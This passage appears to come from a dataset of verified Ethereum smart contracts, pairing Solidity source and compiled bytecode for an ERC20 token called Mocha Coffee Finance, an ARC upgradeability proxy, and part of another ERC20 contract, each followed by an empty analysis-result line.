uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { uint receiverCount = _receivers.length; uint256 amount = _value.mul(uint256(receiverCount)); /* require(receiverCount > 0 && receiverCount <= 20); */ require(receiverCount > 0); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < receiverCount; i++) { balances[_receivers[i]] = balances[_receivers[i]].add(_value); Transfer(msg.sender, _receivers[i], _value); } return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract Mocha_Coffee_Finance is CappedToken, PausableToken, BurnableToken { string public constant name = "Mocha Coffee Finance"; string public constant symbol = "MCOF"; uint8 public constant decimals = 18; uint256 private constant TOKEN_CAP = 97000* (10 ** uint256(decimals)); uint256 private constant TOKEN_INITIAL = 97000 * (10 ** uint256(decimals)); function Mocha_Coffee_Finance() public CappedToken(TOKEN_CAP) { totalSupply_ = TOKEN_INITIAL; balances[msg.sender] = TOKEN_INITIAL; emit Transfer(address(0), msg.sender, TOKEN_INITIAL); paused = false; } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012c57806306fdde0314610155578063095ea7b3146101df57806318160ddd1461020357806323b872dd1461022a578063313ce56714610254578063355274ea1461027f5780633f4ba83a1461029457806340c10f19146102ab57806342966c68146102cf5780635c975abb146102e757806366188463146102fc57806370a08231146103205780637d64bcb41461034157806383f12fec146103565780638456cb59146103ad5780638da5cb5b146103c257806395d89b41146103f3578063a9059cbb14610408578063d73dd6231461042c578063dd62ed3e14610450578063f2fde38b14610477575b600080fd5b34801561013857600080fd5b50610141610498565b604080519115158252519081900360200190f35b34801561016157600080fd5b5061016a6104a8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a457818101518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101eb57600080fd5b50610141600160a060020a03600435166024356104df565b34801561020f57600080fd5b50610218610503565b60408051918252519081900360200190f35b34801561023657600080fd5b50610141600160a060020a0360043581169060243516604435610509565b34801561026057600080fd5b5061026961052f565b6040805160ff9092168252519081900360200190f35b34801561028b57600080fd5b50610218610534565b3480156102a057600080fd5b506102a961053a565b005b3480156102b757600080fd5b50610141600160a060020a0360043516602435610597565b3480156102db57600080fd5b506102a96004356105f3565b3480156102f357600080fd5b506101416106d1565b34801561030857600080fd5b50610141600160a060020a03600435166024356106da565b34801561032c57600080fd5b50610218600160a060020a03600435166106f7565b34801561034d57600080fd5b50610141610712565b34801561036257600080fd5b50604080516020600480358082013583810280860185019096528085526101419536959394602494938501929182918501908490808284375094975050933594506107969350505050565b3480156103b957600080fd5b506102a9610916565b3480156103ce57600080fd5b506103d7610975565b60408051600160a060020a039092168252519081900360200190f35b3480156103ff57600080fd5b5061016a610984565b34801561041457600080fd5b50610141600160a060020a03600435166024356109bb565b34801561043857600080fd5b50610141600160a060020a03600435166024356109d8565b34801561045c57600080fd5b50610218600160a060020a03600435811690602435166109f5565b34801561048357600080fd5b506102a9600160a060020a0360043516610a20565b60035460a060020a900460ff1681565b60408051808201909152601481527f4d6f63686120436f666665652046696e616e6365000000000000000000000000602082015281565b60055460009060ff16156104f257600080fd5b6104fc8383610a72565b9392505050565b60015490565b60055460009060ff161561051c57600080fd5b610527848484610ad8565b949350505050565b601281565b60045481565b600354600160a060020a0316331461055157600080fd5b60055460ff16151561056257600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a031633146105b157600080fd5b60035460a060020a900460ff16156105c857600080fd5b6004546001546105de908463ffffffff610c3d16565b11156105e957600080fd5b6104fc8383610c57565b3360009081526020819052604081205482111561060f57600080fd5b5033600081815260208190526040902054610630908363ffffffff610d4f16565b600160a060020a03821660009081526020819052604090205560015461065c908363ffffffff610d4f16565b600155604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a03841691600080516020610fe58339815191529181900360200190a35050565b60055460ff1681565b60055460009060ff16156106ed57600080fd5b6104fc8383610d61565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a0316331461072c57600080fd5b60035460a060020a900460ff161561074357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b60055460009081908190819060ff16156107af57600080fd5b855192506107c3858463ffffffff610e5116565b9150600083116107d257600080fd5b6000851180156107f15750336000908152602081905260409020548211155b15156107fc57600080fd5b3360009081526020819052604090205461081c908363ffffffff610d4f16565b3360009081526020819052604081209190915590505b8281101561090a5761087e85600080898581518110151561084f57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610c3d16565b600080888481518110151561088f57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205585518690829081106108c057fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020610fe5833981519152876040518082815260200191505060405180910390a3600101610832565b50600195945050505050565b600354600160a060020a0316331461092d57600080fd5b60055460ff161561093d57600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600481527f4d434f4600000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff16156109ce57600080fd5b6104fc8383610e7c565b60055460009060ff16156109eb57600080fd5b6104fc8383610f4b565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a3757600080fd5b600160a060020a03811615610a6f576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610aef57600080fd5b600160a060020a038416600090815260208190526040902054821115610b1457600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610b4457600080fd5b600160a060020a038416600090815260208190526040902054610b6d908363ffffffff610d4f16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610ba2908363ffffffff610c3d16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610be4908363ffffffff610d4f16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610fe5833981519152929181900390910190a35060019392505050565b600082820183811015610c4c57fe5b8091505b5092915050565b600354600090600160a060020a03163314610c7157600080fd5b60035460a060020a900460ff1615610c8857600080fd5b600154610c9b908363ffffffff610c3d16565b600155600160a060020a038316600090815260208190526040902054610cc7908363ffffffff610c3d16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610fe58339815191529181900360200190a350600192915050565b600082821115610d5b57fe5b50900390565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610db657336000908152600260209081526040808320600160a060020a0388168452909152812055610deb565b610dc6818463ffffffff610d4f16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600080831515610e645760009150610c50565b50828202828482811515610e7457fe5b0414610c4c57fe5b6000600160a060020a0383161515610e9357600080fd5b33600090815260208190526040902054821115610eaf57600080fd5b33600090815260208190526040902054610ecf908363ffffffff610d4f16565b3360009081526020819052604080822092909255600160a060020a03851681522054610f01908363ffffffff610c3d16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610fe58339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610f7f908363ffffffff610c3d16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058203d2adb689e946feb51cd7a48cc1598894a31463a70585b754e8674015557b8830029
{"success": true, "error": null, "results": {}}
6,725
0x2F84d6394EE8D46df279d1798345884a3a04bd09
/* / | __ / ____| / | |__) | | | / / | _ / | | / ____ | | | |____ /_/ _ |_| _ _____| * ARC: ArcProxy.sol * * Latest source (may be newer): https://github.com/arcxgame/contracts/blob/master/contracts/ArcProxy.sol * * Contract Dependencies: * - BaseAdminUpgradeabilityProxy * - BaseUpgradeabilityProxy * - Proxy * - UpgradeabilityProxy * Libraries: * - OpenZeppelinUpgradesAddress * * MIT License * =========== * * Copyright (c) 2020 ARC * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma experimental ABIEncoderV2; /* =============================================== * Flattened with Solidifier by Coinage * * https://solidifier.coina.ge * =============================================== */ pragma solidity ^0.5.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } // SPDX-License-Identifier: MIT /* solium-disable-next-line */ contract ArcProxy is AdminUpgradeabilityProxy { /** * @dev The constructor of the proxy that sets the admin and logic. * * @param logic The address of the contract that implements the underlying logic. * @param admin The address of the admin of the proxy. * @param data Any data to send immediately to the implementation contract. */ constructor( address logic, address admin, bytes memory data ) public AdminUpgradeabilityProxy( logic, admin, data ) {} /** * @dev Overrides the default functionality that prevents the admin from reaching the * implementation contract. */ function _willFallback() internal { /* solium-disable-line no-empty-blocks */ } }
0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef2861461007d5780635c60da1b146100995780638f283970146100c4578063f851a440146100ed575b610052610118565b005b34801561006057600080fd5b5061007b600480360361007691908101906105fc565b610132565b005b61009760048036036100929190810190610625565b610187565b005b3480156100a557600080fd5b506100ae610256565b6040516100bb9190610796565b60405180910390f35b3480156100d057600080fd5b506100eb60048036036100e691908101906105fc565b6102ae565b005b3480156100f957600080fd5b506101026103b3565b60405161010f9190610796565b60405180910390f35b61012061040b565b61013061012b61040d565b61043e565b565b61013a610464565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561017b5761017681610495565b610184565b610183610118565b5b50565b61018f610464565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610248576101cb83610495565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040516101f492919061077d565b600060405180830381855af49150503d806000811461022f576040519150601f19603f3d011682016040523d82523d6000602084013e610234565b606091505b505090508061024257600080fd5b50610251565b610250610118565b5b505050565b6000610260610464565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102a25761029b61040d565b90506102ab565b6102aa610118565b5b90565b6102b6610464565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103a757600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610359576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610350906107da565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610382610464565b826040516103919291906107b1565b60405180910390a16103a2816104e4565b6103b0565b6103af610118565b5b50565b60006103bd610464565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103ff576103f8610464565b9050610408565b610407610118565b5b90565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e806000811461045f573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b61049e81610513565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b61051c8161058a565b61055b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610552906107fa565b60405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b90508181555050565b600080823b905060008111915050919050565b6000813590506105ac81610877565b92915050565b60008083601f8401126105c457600080fd5b8235905067ffffffffffffffff8111156105dd57600080fd5b6020830191508360018202830111156105f557600080fd5b9250929050565b60006020828403121561060e57600080fd5b600061061c8482850161059d565b91505092915050565b60008060006040848603121561063a57600080fd5b60006106488682870161059d565b935050602084013567ffffffffffffffff81111561066557600080fd5b610671868287016105b2565b92509250509250925092565b61068681610836565b82525050565b6000610698838561081a565b93506106a5838584610868565b82840190509392505050565b60006106be603683610825565b91507f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f60008301527f787920746f20746865207a65726f2061646472657373000000000000000000006020830152604082019050919050565b6000610724603b83610825565b91507f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f60008301527f6e20746f2061206e6f6e2d636f6e7472616374206164647265737300000000006020830152604082019050919050565b600061078a82848661068c565b91508190509392505050565b60006020820190506107ab600083018461067d565b92915050565b60006040820190506107c6600083018561067d565b6107d3602083018461067d565b9392505050565b600060208201905081810360008301526107f3816106b1565b9050919050565b6000602082019050818103600083015261081381610717565b9050919050565b600081905092915050565b600082825260208201905092915050565b600061084182610848565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b82818337600083830152505050565b61088081610836565b811461088b57600080fd5b5056fea365627a7a7231582053896d3866f114cec0b58eacc04156f39b862e62640e0b0a9188369b667ef53a6c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {}}
6,726
0x519b614f0b5d80f7dd7d22d2cad2ca28ec1d30c6
/** *Submitted for verification at Etherscan.io on 2021-05-27 */ /** *Submitted for verification at Etherscan.io on 2020-09-01 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public 